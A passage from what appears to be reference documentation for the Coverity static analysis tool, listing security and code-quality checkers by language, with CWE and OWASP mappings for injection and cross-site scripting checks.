| XML_EXTERNAL_ENTITY | Unrestricted document type definitions | Medium impact security | Java | An attacker-controlled DTD can be used to specify an external URL, making the impact of processing the DTD analogous to a server-side request forgery. Processing an arbitrary DTD may also result in parsing a large number of entities, causing denial of service. | Medium | Security | 827 | 17, 18, 254, 264, 265, 361, 398, 399, 405, 409, 438, 442, 610, 611, 635, 664, 669, 674, 691, 699, 700, 706, 710, 711, 730, 776, 809, 813, 827, 829, 834, 844, 845, 855, 857, 864, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 977, 978, 980, 981, 984, 985, 990, 1000, 1003, 1008, 1011, 1015, 1016, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_EXTERNAL_ENTITY | Unrestricted document type definitions | Medium impact security | Visual Basic | An attacker-controlled DTD can be used to specify an external URL, making the impact of processing the DTD analogous to a server-side request forgery. Processing an arbitrary DTD may also result in parsing a large number of entities, causing denial of service. | Medium | Security | 827 | 17, 18, 254, 264, 265, 361, 398, 399, 405, 409, 438, 442, 610, 611, 635, 664, 669, 674, 691, 699, 700, 706, 710, 711, 730, 776, 809, 813, 827, 829, 834, 844, 845, 855, 857, 864, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 977, 978, 980, 981, 984, 985, 990, 1000, 1003, 1008, 1011, 1015, 1016, 1026, 1030 | owasp-web-2017-A4: XML External Entities (XXE) | |
| XML_INJECTION | XML injection | Low impact security | C# | An attacker may be able to insert unintended content or structure to subvert the application's logic. | Low | Security | 91 | 17, 18, 19, 20, 74, 91, 116, 137, 171, 254, 629, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 876, 883, 888, 896, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| XML_INJECTION | XML injection | Low impact security | Java | An attacker may be able to insert unintended content or structure to subvert the application's logic. | Low | Security | 91 | 17, 18, 19, 20, 74, 91, 116, 137, 171, 254, 629, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 876, 883, 888, 896, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| XPATH_INJECTION | XML Path (XPath) Language injection | Medium impact security | C# | An attacker can change the intent of the XPath query, which may inappropriately disclose data or grant unauthorized access to application functionality. | Medium | Security | 643 | 17, 18, 19, 20, 74, 91, 94, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 643, 664, 691, 693, 699, 700, 707, 710, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 809, 810, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 943, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| XPATH_INJECTION | XML Path (XPath) Language injection | Medium impact security | Java | An attacker can change the intent of the XPath query, which may inappropriately disclose data or grant unauthorized access to application functionality. | Medium | Security | 643 | 17, 18, 19, 20, 74, 91, 94, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 643, 664, 691, 693, 699, 700, 707, 710, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 809, 810, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 943, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| XPATH_INJECTION | XML Path (XPath) Language injection | Medium impact security | Swift | An attacker can change the intent of the XPath query, which may inappropriately disclose data or grant unauthorized access to application functionality. | Medium | Security | 643 | 17, 18, 19, 20, 74, 91, 94, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 643, 664, 691, 693, 699, 700, 707, 710, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 809, 810, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 943, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| XSS | Cross-site scripting | High impact security | C# | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
| XSS | Cross-site scripting | High impact security | Java | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
| XSS | Cross-site scripting | High impact security | JavaScript | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
| XSS | Cross-site scripting | High impact security | PHP | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
| XSS | Cross-site scripting | High impact security | Python | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
| XSS | Cross-site scripting | High impact security | Visual Basic | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
| XSS | Cross-site scripting (stored) | High impact security | C# | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
| XSS | Cross-site scripting (stored) | High impact security | Java | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
| XSS | Cross-site scripting (stored) | High impact security | Visual Basic | A user can execute arbitrary JavaScript on a web page viewed or accessed by another user, potentially allowing session hijacking, disclosing sensitive data in the DOM, or viewing of keyboard and mouse events. | High | Security | 79 | 2, 17, 18, 19, 20, 74, 79, 80, 82, 83, 85, 86, 87, 116, 137, 138, 140, 141, 142, 146, 149, 150, 157, 171, 254, 435, 436, 438, 442, 629, 635, 692, 693, 699, 700, 707, 711, 712, 722, 725, 727, 734, 738, 742, 746, 747, 750, 751, 800, 801, 809, 811, 844, 845, 864, 868, 872, 876, 883, 884, 888, 896, 900, 902, 907, 928, 929, 931, 933, 957, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1033 | owasp-web-2017-A7: Cross-Site Scripting (XSS) | ✓ |
The table includes checker option defaults and cov-analyze command line
options that enable each checker.
![]() | |
Column sorting can take a couple of seconds. Some checkers are not included in the table: Section 4.78, “DF.CUSTOM_CHECKER”, Section 4.69, “DC.CUSTOM_CHECKER” (but see other Don't Call (DC.*) checkers), Section 4.86, “FB.* (SpotBugs)”, Section 4.91, “HFA”, Section 4.211, “TEXT.CUSTOM_CHECKER”, and Section 4.107, “JSHINT.* (JSHint) Analysis”. For Dynamic Analysis checkers, see Chapter 5, Dynamic Analysis Checkers. For Fortran Syntax Analysis (FC.*) checkers, see Section 8.1, “FC.* (Fortran Syntax Analysis) Checkers”. |
The check boxes are for hiding (or displaying) Coverity Analysis checkers by language.
C C++ C# Java JavaScript Objective-C Objective-C++ PHP Python 2 Python 3 Ruby Scala Swift Visual Basic
| Checker Name | Language | Checker Option Defaults | Type | Checker Enablement |
|---|---|---|---|---|
| ALLOC_FREE_MISMATCH | Objective-C | Default |
| |
| ALLOC_FREE_MISMATCH | Objective-C++ | Default |
| |
| ALLOC_FREE_MISMATCH | C | Default |
| |
| ALLOC_FREE_MISMATCH | C++ | Default |
| |
| ANDROID_DEBUG_MODE | Java | Android Security |
| |
| ANGULAR_EXPRESSION_INJECTION | JavaScript |
| Webapp Security |
|
| ARRAY_VS_SINGLETON | Objective-C |
| Default |
|
| ARRAY_VS_SINGLETON | Objective-C++ |
| Default |
|
| ARRAY_VS_SINGLETON | C |
| Default |
|
| ARRAY_VS_SINGLETON | C++ |
| Default |
|
| ASPNET_MVC_VERSION_HEADER | Visual Basic | Webapp Security |
| |
| ASPNET_MVC_VERSION_HEADER | C# | Webapp Security |
| |
| ASSERT_SIDE_EFFECT | Objective-C |
| Default |
|
| ASSERT_SIDE_EFFECT | Objective-C++ |
| Default |
|
| ASSERT_SIDE_EFFECT | C |
| Default |
|
| ASSERT_SIDE_EFFECT | C++ |
| Default |
|
| ASSIGN_NOT_RETURNING_STAR_THIS | Objective-C++ | Rule |
| |
| ASSIGN_NOT_RETURNING_STAR_THIS | C++ | Rule |
| |
| ATOMICITY | Objective-C | Concurrency |
| |
| ATOMICITY | Objective-C++ | Concurrency |
| |
| ATOMICITY | C | Concurrency |
| |
| ATOMICITY | C++ | Concurrency |
| |
| ATOMICITY | Java | Optional |
| |
| ATTRIBUTE_NAME_CONFLICT | Java | Webapp Security |
| |
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | Objective-C |
| Optional |
|
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | Objective-C++ |
| Optional |
|
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | C |
| Optional |
|
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | C++ |
| Optional |
|
| BAD_ALLOC_ARITHMETIC | Objective-C | Default |
| |
| BAD_ALLOC_ARITHMETIC | Objective-C++ | Default |
| |
| BAD_ALLOC_ARITHMETIC | C | Default |
| |
| BAD_ALLOC_ARITHMETIC | C++ | Default |
| |
| BAD_ALLOC_STRLEN | Objective-C |
| Default |
|
| BAD_ALLOC_STRLEN | Objective-C++ |
| Default |
|
| BAD_ALLOC_STRLEN | C |
| Default |
|
| BAD_ALLOC_STRLEN | C++ |
| Default |
|
| BAD_CERT_VERIFICATION | Swift | Default |
| |
| BAD_CERT_VERIFICATION | Java |
| Webapp Security |
|
| BAD_CERT_VERIFICATION | Java |
| Android Security |
|
| BAD_CHECK_OF_WAIT_COND | Java | Default |
| |
| BAD_COMPARE | Objective-C | Default |
| |
| BAD_COMPARE | Objective-C++ | Default |
| |
| BAD_COMPARE | C | Default |
| |
| BAD_COMPARE | C++ | Default |
| |
| BAD_EQ | C# |
| Default |
|
| BAD_EQ_TYPES | C# | Default |
| |
| BAD_FREE | Objective-C |
| Default |
|
| BAD_FREE | Objective-C++ |
| Default |
|
| BAD_FREE | C |
| Default |
|
| BAD_FREE | C++ |
| Default |
|
| BAD_LOCK_OBJECT | C# | Default |
| |
| BAD_LOCK_OBJECT | Java | Default |
| |
| BAD_OVERRIDE | Objective-C++ |
| Default |
|
| BAD_OVERRIDE | C++ |
| Default |
|
| BAD_SHIFT | Objective-C | Default |
| |
| BAD_SHIFT | Objective-C++ | Default |
| |
| BAD_SHIFT | C | Default |
| |
| BAD_SHIFT | C++ | Default |
| |
| BAD_SHIFT | C# | Default |
| |
| BAD_SHIFT | Java | Default |
| |
| BAD_SIZEOF | Objective-C |
| Default |
|
| BAD_SIZEOF | Objective-C++ |
| Default |
|
| BAD_SIZEOF | C |
| Default |
|
| BAD_SIZEOF | C++ |
| Default |
|
| BUFFER_SIZE | Objective-C |
| Security |
|
| BUFFER_SIZE | Objective-C++ |
| Security |
|
| BUFFER_SIZE | C |
| Security |
|
| BUFFER_SIZE | C++ |
| Security |
|
| CALL_SUPER | Visual Basic |
| Default |
|
| CALL_SUPER | C# |
| Default |
|
| CALL_SUPER | Java |
| Default |
|
| CHAR_IO | Objective-C | Default |
| |
| CHAR_IO | Objective-C++ | Default |
| |
| CHAR_IO | C | Default |
| |
| CHAR_IO | C++ | Default |
| |
| CHECKED_RETURN | Objective-C |
| Default |
|
| CHECKED_RETURN | Objective-C++ |
| Default |
|
| CHECKED_RETURN | C |
| Default |
|
| CHECKED_RETURN | C++ |
| Default |
|
| CHECKED_RETURN | Java |
| Default |
|
| CHROOT | Objective-C | Security |
| |
| CHROOT | Objective-C++ | Security |
| |
| CHROOT | C | Security |
| |
| CHROOT | C++ | Security |
| |
| COM.ADDROF_LEAK | C++ |
| Optional |
|
| COM.BAD_FREE | C++ | Default |
| |
| COM.BSTR.ALLOC | C++ | Optional |
| |
| COM.BSTR.BAD_COMPARE | C++ |
| Optional |
|
| COM.BSTR.CONV | C++ |
| Default |
|
| COM.BSTR.NE_NON_BSTR | C++ |
| Optional |
|
| CONFIG.ASPNET_VERSION_HEADER | Visual Basic | Webapp Security |
| |
| CONFIG.ASPNET_VERSION_HEADER | C# | Webapp Security |
| |
| CONFIG.ASP_VIEWSTATE_MAC | Visual Basic | Webapp Security |
| |
| CONFIG.ASP_VIEWSTATE_MAC | C# | Webapp Security |
| |
| CONFIG.ATS_INSECURE | Swift | Default |
| |
| CONFIG.CONNECTION_STRING_PASSWORD | Visual Basic | Webapp Security |
| |
| CONFIG.CONNECTION_STRING_PASSWORD | C# | Webapp Security |
| |
| CONFIG.COOKIES_MISSING_HTTPONLY | Visual Basic | Webapp Security |
| |
| CONFIG.COOKIES_MISSING_HTTPONLY | C# | Webapp Security |
| |
| CONFIG.DEAD_AUTHORIZATION_RULE | Visual Basic | Webapp Security |
| |
| CONFIG.DEAD_AUTHORIZATION_RULE | C# | Webapp Security |
| |
| CONFIG.DUPLICATE_SERVLET_DEFINITION | Java | Webapp Security |
| |
| CONFIG.DWR_DEBUG_MODE | Java | Webapp Security |
| |
| CONFIG.DYNAMIC_DATA_HTML_COMMENT | Visual Basic | Webapp Security |
| |
| CONFIG.DYNAMIC_DATA_HTML_COMMENT | C# | Webapp Security |
| |
| CONFIG.DYNAMIC_DATA_HTML_COMMENT | Java | Webapp Security |
| |
| CONFIG.ENABLED_DEBUG_MODE | Visual Basic | Webapp Security |
| |
| CONFIG.ENABLED_DEBUG_MODE | C# | Webapp Security |
| |
| CONFIG.ENABLED_TRACE_MODE | Visual Basic | Webapp Security |
| |
| CONFIG.ENABLED_TRACE_MODE | C# | Webapp Security |
| |
| CONFIG.HANA_XS_PREVENT_XSRF_DISABLED | JavaScript | Webapp Security |
| |
| CONFIG.HTTP_VERB_TAMPERING | Java | Webapp Security |
| |
| CONFIG.JAVAEE_MISSING_HTTPONLY | Java | Webapp Security |
| |
| CONFIG.MISSING_CUSTOM_ERROR_PAGE | C# | Webapp Security |
| |
| CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER | Java | Webapp Security |
| |
| CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT | Java | Webapp Security |
| |
| CONFIG.SPRING_SECURITY_DEBUG_MODE | Java | Webapp Security |
| |
| CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS | Java | Webapp Security |
| |
| CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS | Java | Webapp Security |
| |
| CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY | Java | Webapp Security |
| |
| CONFIG.SPRING_SECURITY_SESSION_FIXATION | Java | Webapp Security |
| |
| CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN | Java | Webapp Security |
| |
| CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION | Java | Webapp Security |
| |
| CONFIG.STRUTS2_ENABLED_DEV_MODE | Java | Webapp Security |
| |
| CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED | PHP | Webapp Security |
| |
| CONFIG.UNSAFE_SESSION_TIMEOUT | Java | Webapp Security |
| |
| CONSTANT_EXPRESSION_RESULT | JavaScript |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | Objective-C |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | Objective-C++ |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | PHP |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | Python 2 |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | Python 3 |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | Ruby |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | Scala |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | Swift |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | C |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | C++ |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | C# |
| Default |
|
| CONSTANT_EXPRESSION_RESULT | Java |
| Default |
|
| COOKIE_INJECTION | JavaScript |
| Webapp Security |
|
| COPY_PASTE_ERROR | JavaScript | Default |
| |
| COPY_PASTE_ERROR | Objective-C | Default |
| |
| COPY_PASTE_ERROR | Objective-C++ | Default |
| |
| COPY_PASTE_ERROR | PHP | Default |
| |
| COPY_PASTE_ERROR | Python 2 | Default |
| |
| COPY_PASTE_ERROR | Python 3 | Default |
| |
| COPY_PASTE_ERROR | Ruby | Default |
| |
| COPY_PASTE_ERROR | Scala | Default |
| |
| COPY_PASTE_ERROR | Swift | Default |
| |
| COPY_PASTE_ERROR | Visual Basic | Default |
| |
| COPY_PASTE_ERROR | C | Default |
| |
| COPY_PASTE_ERROR | C++ | Default |
| |
| COPY_PASTE_ERROR | C# | Default |
| |
| COPY_PASTE_ERROR | Java | Default |
| |
| COPY_WITHOUT_ASSIGN | Objective-C++ | Rule |
| |
| COPY_WITHOUT_ASSIGN | C++ | Rule |
| |
| CSRF | JavaScript |
| Webapp Security |
|
| CSRF | Python 2 |
| Webapp Security |
|
| CSRF | Visual Basic |
| Webapp Security |
|
| CSRF | C# |
| Webapp Security |
|
| CSRF | Java |
| Webapp Security |
|
| CTOR_DTOR_LEAK | Objective-C++ | Default |
| |
| CTOR_DTOR_LEAK | C++ | Default |
| |
| CUSTOM_KEYBOARD_DATA_LEAK | Swift | Default |
| |
| DC.DANGEROUS | Java | Default |
| |
| DC.DEADLOCK | Java | Default |
| |
| DC.STREAM_BUFFER | Objective-C | Security |
| |
| DC.STREAM_BUFFER | Objective-C++ | Security |
| |
| DC.STREAM_BUFFER | C | Security |
| |
| DC.STREAM_BUFFER | C++ | Security |
| |
| DC.STRING_BUFFER | Objective-C | Optional |
| |
| DC.STRING_BUFFER | Objective-C++ | Optional |
| |
| DC.STRING_BUFFER | C | Optional |
| |
| DC.STRING_BUFFER | C++ | Optional |
| |
| DC.WEAK_CRYPTO | Objective-C | Security |
| |
| DC.WEAK_CRYPTO | Objective-C++ | Security |
| |
| DC.WEAK_CRYPTO | C | Security |
| |
| DC.WEAK_CRYPTO | C++ | Security |
| |
| DEADCODE | JavaScript |
| Default |
|
| DEADCODE | Objective-C |
| Default |
|
| DEADCODE | Objective-C++ |
| Default |
|
| DEADCODE | PHP |
| Default |
|
| DEADCODE | Python 2 |
| Default |
|
| DEADCODE | Python 3 |
| Default |
|
| DEADCODE | Ruby |
| Default |
|
| DEADCODE | Scala |
| Default |
|
| DEADCODE | Swift |
| Default |
|
| DEADCODE | Visual Basic |
| Default |
|
| DEADCODE | C |
| Default |
|
| DEADCODE | C++ |
| Default |
|
| DEADCODE | C# |
| Default |
|
| DEADCODE | Java |
| Default |
|
| DELETE_ARRAY | Objective-C++ |
| Default |
|
| DELETE_ARRAY | C++ |
| Default |
|
| DELETE_VOID | Objective-C++ | Default |
| |
| DELETE_VOID | C++ | Default |
| |
| DIVIDE_BY_ZERO | Objective-C | Default |
| |
| DIVIDE_BY_ZERO | Objective-C++ | Default |
| |
| DIVIDE_BY_ZERO | C | Default |
| |
| DIVIDE_BY_ZERO | C++ | Default |
| |
| DIVIDE_BY_ZERO | C# | Default |
| |
| DIVIDE_BY_ZERO | Java | Default |
| |
| DOM_XSS | JavaScript |
| Webapp Security |
|
| EL_INJECTION | Java | Webapp Security |
| |
| ENUM_AS_BOOLEAN | Objective-C | Optional |
| |
| ENUM_AS_BOOLEAN | Objective-C++ | Optional |
| |
| ENUM_AS_BOOLEAN | C | Optional |
| |
| ENUM_AS_BOOLEAN | C++ | Optional |
| |
| EVALUATION_ORDER | Objective-C |
| Default |
|
| EVALUATION_ORDER | Objective-C++ |
| Default |
|
| EVALUATION_ORDER | C |
| Default |
|
| EVALUATION_ORDER | C++ |
| Default |
|
| EXPLICIT_THIS_EXPECTED | JavaScript | Default |
| |
| EXPOSED_PREFERENCES | Java | Android Security |
| |
| FORWARD_NULL | JavaScript |
| Default |
|
| FORWARD_NULL | Objective-C |
| Default |
|
| FORWARD_NULL | Objective-C++ |
| Default |
|
| FORWARD_NULL | PHP |
| Default |
|
| FORWARD_NULL | Python 2 |
| Default |
|
| FORWARD_NULL | Python 3 |
| Default |
|
| FORWARD_NULL | Ruby |
| Default |
|
| FORWARD_NULL | Scala |
| Default |
|
| FORWARD_NULL | Swift |
| Default |
|
| FORWARD_NULL | Visual Basic |
| Default |
|
| FORWARD_NULL | C |
| Default |
|
| FORWARD_NULL | C++ |
| Default |
|
| FORWARD_NULL | C# |
| Default |
|
| FORWARD_NULL | Java |
| Default |
|
| GUARDED_BY_VIOLATION | C# |
| Default |
|
| GUARDED_BY_VIOLATION | Java |
| Default |
|
| HARDCODED_CREDENTIALS | Swift |
| Default |
|
| HARDCODED_CREDENTIALS | Objective-C |
| Optional |
|
| HARDCODED_CREDENTIALS | Objective-C++ |
| Optional |
|
| HARDCODED_CREDENTIALS | C |
| Optional |
|
| HARDCODED_CREDENTIALS | C++ |
| Optional |
|
| HARDCODED_CREDENTIALS | JavaScript |
| Webapp Security |
|
| HARDCODED_CREDENTIALS | PHP |
| Webapp Security |
|
| HARDCODED_CREDENTIALS | Python 2 |
| Webapp Security |
|
| HARDCODED_CREDENTIALS | Visual Basic |
| Webapp Security |
|
| HARDCODED_CREDENTIALS | C# |
| Webapp Security |
|
| HARDCODED_CREDENTIALS | Java |
| Webapp Security |
|
| HARDCODED_CREDENTIALS | Java |
| Android Security |
|
| HEADER_INJECTION | JavaScript |
| Webapp Security |
|
| HEADER_INJECTION | PHP |
| Webapp Security |
|
| HEADER_INJECTION | C# | Webapp Security |
| |
| HEADER_INJECTION | Java | Webapp Security |
| |
| HFA | C | Optional |
| |
| HIBERNATE_BAD_HASHCODE | Java |
| Default |
|
| IDENTICAL_BRANCHES | JavaScript |
| Default |
|
| IDENTICAL_BRANCHES | Objective-C |
| Default |
|
| IDENTICAL_BRANCHES | Objective-C++ |
| Default |
|
| IDENTICAL_BRANCHES | PHP |
| Default |
|
| IDENTICAL_BRANCHES | Python 2 |
| Default |
|
| IDENTICAL_BRANCHES | Python 3 |
| Default |
|
| IDENTICAL_BRANCHES | Ruby |
| Default |
|
| IDENTICAL_BRANCHES | Scala |
| Default |
|
| IDENTICAL_BRANCHES | Swift |
| Default |
|
| IDENTICAL_BRANCHES | Visual Basic |
| Default |
|
| IDENTICAL_BRANCHES | C |
| Default |
|
| IDENTICAL_BRANCHES | C++ |
| Default |
|
| IDENTICAL_BRANCHES | C# |
| Default |
|
| IDENTICAL_BRANCHES | Java |
| Default |
|
| IDENTIFIER_TYPO | JavaScript | Default |
| |
| IDENTIFIER_TYPO | PHP | Default |
| |
| IDENTIFIER_TYPO | Python 2 | Default |
| |
| IDENTIFIER_TYPO | Python 3 | Default |
| |
| IDENTIFIER_TYPO | Ruby | Default |
| |
| IMPLICIT_INTENT | Java | Android Security |
| |
| INCOMPATIBLE_CAST | Objective-C | Default |
| |
| INCOMPATIBLE_CAST | Objective-C++ | Default |
| |
| INCOMPATIBLE_CAST | C | Default |
| |
| INCOMPATIBLE_CAST | C++ | Default |
| |
| INFINITE_LOOP | Objective-C |
| Default |
|
| INFINITE_LOOP | Objective-C++ |
| Default |
|
| INFINITE_LOOP | C |
| Default |
|
| INFINITE_LOOP | C++ |
| Default |
|
| INFINITE_LOOP | C# |
| Default |
|
| INFINITE_LOOP | Java |
| Default |
|
| INSECURE_COMMUNICATION | Swift | Default |
| |
| INSECURE_COOKIE | Java | Optional |
| |
| INSECURE_MULTIPEER_CONNECTION | Swift | Default |
| |
| INSECURE_RANDOM | JavaScript |
| Webapp Security |
|
| INSECURE_RANDOM | C# |
| Webapp Security |
|
| INSECURE_RANDOM | Java |
| Webapp Security |
|
| INSECURE_SALT | JavaScript | Webapp Security |
| |
| INTEGER_OVERFLOW | Objective-C |
| Optional |
|
| INTEGER_OVERFLOW | Objective-C++ |
| Optional |
|
| INTEGER_OVERFLOW | C |
| Optional |
|
| INTEGER_OVERFLOW | C++ |
| Optional |
|
| INVALIDATE_ITERATOR | Objective-C++ | Default |
| |
| INVALIDATE_ITERATOR | C++ |
| Default |
|
| INVALIDATE_ITERATOR | Java |
| Default |
|
| JAVA_CODE_INJECTION | Java | Webapp Security |
| |
| JCR_INJECTION | Java | Webapp Security |
| |
| JSP_DYNAMIC_INCLUDE | Java | Webapp Security |
| |
| JSP_SQL_INJECTION | Java | Webapp Security |
| |
| LDAP_INJECTION | Visual Basic | Webapp Security |
| |
| LDAP_INJECTION | C# | Webapp Security |
| |
| LDAP_INJECTION | Java | Webapp Security |
| |
| LOCK | Objective-C |
| Concurrency |
|
| LOCK | Objective-C++ |
| Concurrency |
|
| LOCK | C |
| Concurrency |
|
| LOCK | C++ |
